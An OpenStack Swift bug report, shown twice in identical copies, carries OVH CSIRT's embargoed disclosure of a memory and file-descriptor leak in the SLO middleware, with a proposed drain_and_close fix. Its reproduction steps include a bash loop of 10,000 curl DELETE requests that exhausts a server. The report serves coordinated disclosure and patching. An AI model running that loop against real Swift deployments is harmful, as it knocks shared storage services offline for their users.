| 2022-07-11 18:08:28 |
Jeremy Stanley |
description |
This issue is being treated as a potential security risk under
embargo. Please do not make any public mention of embargoed
(private) security vulnerabilities before their coordinated
publication by the OpenStack Vulnerability Management Team in the
form of an official OpenStack Security Advisory. This includes
discussion of the bug or associated fixes in public forums such as
mailing lists, code review systems and bug trackers. Please also
avoid private disclosure to other individuals not already approved
for access to this information, and provide this same reminder to
those who are made aware of the issue prior to publication. All
discussion should remain confined to this private bug report, and
any proposed fixes should be added to the bug as attachments. This
embargo shall not extend past 2022-10-05 and will be made
public by or on that date even if no fix is identified.
[Sébastien Mériot with OVH sent the following via encrypted E-mail]
Hello guys,
We reach out to you to follow the responsible disclosure process after our team
that works on OpenStack found a security issue that could cause a Deny of
Service. Indeed a resource is not properly free in Swift and in a specific
condition, it leads Swift to leak memory and not properly close file
descriptors. By repeating the exploit, a remote attacker can cause the host to
run out of memory and most likely run out of file descriptors.
The issue occurs when dealing with Static Large Objects (SLO) on EC storage
policy. To reproduce the issue:
1. Create a container with an EC storage policy (PCA at OVHcloud)
$ swift post mycontainer2 --header X-Storage-Policy:PCA
2. Put a simple object (without SLO) in the container.
$ swift upload mycontainer2 bigfile --object-name test
3. Delete in loop the object *with* the SLO mode.
$ for i in {1..10000}
do curl -i "http://localhost:8888/v1/\
AUTH_b2b0bf987baa4161b9b83985ac303c9f/mycontainer2/test\
?multipart-manifest=delete" \
-XDELETE -H "X-Auth-Token: XXXX"
done
4. An 400 error is raised : "Not an SLO manifest" and memory is getting leaked.
After investigating the issue the team discovered that a resource was not
properly released :
https://github.com/openstack/swift/blob/master/swift/common/middleware/slo.py#L1535
Indeed, the body of the resp object is not read and then remain open even after
raising the exception, which cause the memory leak.
Our team suggests to add a `drain_and_close` call before raising the exception
in order to fix the issue:
```python
if resp.is_success:
if config_true_value(resp.headers.get('X-Static-Large-Object')):
try:
return json.loads(resp.body)
except ValueError:
raise HTTPServerError('Unable to load SLO manifest')
else:
# Drain an close requests opened to object servers
drain_and_close(resp)
raise HTTPBadRequest('Not an SLO manifest')
```
The issue has been successfully triggered on Swift 2.25 and 2.29. And it seems
the upstream still is vulnerable as shown above.
This vulnerability could be rated 7.5 according to CVSS3 calculator:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Feel free to contact us if you need any additionnal information.
Regards,
Sébastien Mériot
Head of CSIRT-OVH
PGP: https://openpgp.circl.lu/pks/lookup?op=get&search=0x43f7c95e4eb57ef1
OVHcloud | Roubaix, FR |
[Sébastien Mériot with OVH sent the following via encrypted E-mail]
Hello guys,
We reach out to you to follow the responsible disclosure process after our team
that works on OpenStack found a security issue that could cause a Deny of
Service. Indeed a resource is not properly free in Swift and in a specific
condition, it leads Swift to leak memory and not properly close file
descriptors. By repeating the exploit, a remote attacker can cause the host to
run out of memory and most likely run out of file descriptors.
The issue occurs when dealing with Static Large Objects (SLO) on EC storage
policy. To reproduce the issue:
1. Create a container with an EC storage policy (PCA at OVHcloud)
$ swift post mycontainer2 --header X-Storage-Policy:PCA
2. Put a simple object (without SLO) in the container.
$ swift upload mycontainer2 bigfile --object-name test
3. Delete in loop the object *with* the SLO mode.
$ for i in {1..10000}
do curl -i "http://localhost:8888/v1/\
AUTH_b2b0bf987baa4161b9b83985ac303c9f/mycontainer2/test\
?multipart-manifest=delete" \
-XDELETE -H "X-Auth-Token: XXXX"
done
4. An 400 error is raised : "Not an SLO manifest" and memory is getting leaked.
After investigating the issue the team discovered that a resource was not
properly released :
https://github.com/openstack/swift/blob/master/swift/common/middleware/slo.py#L1535
Indeed, the body of the resp object is not read and then remain open even after
raising the exception, which cause the memory leak.
Our team suggests to add a `drain_and_close` call before raising the exception
in order to fix the issue:
```python
if resp.is_success:
if config_true_value(resp.headers.get('X-Static-Large-Object')):
try:
return json.loads(resp.body)
except ValueError:
raise HTTPServerError('Unable to load SLO manifest')
else:
# Drain an close requests opened to object servers
drain_and_close(resp)
raise HTTPBadRequest('Not an SLO manifest')
```
The issue has been successfully triggered on Swift 2.25 and 2.29. And it seems
the upstream still is vulnerable as shown above.
This vulnerability could be rated 7.5 according to CVSS3 calculator:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Feel free to contact us if you need any additionnal information.
Regards,
Sébastien Mériot
Head of CSIRT-OVH
PGP: https://openpgp.circl.lu/pks/lookup?op=get&search=0x43f7c95e4eb57ef1
OVHcloud | Roubaix, FR |
|
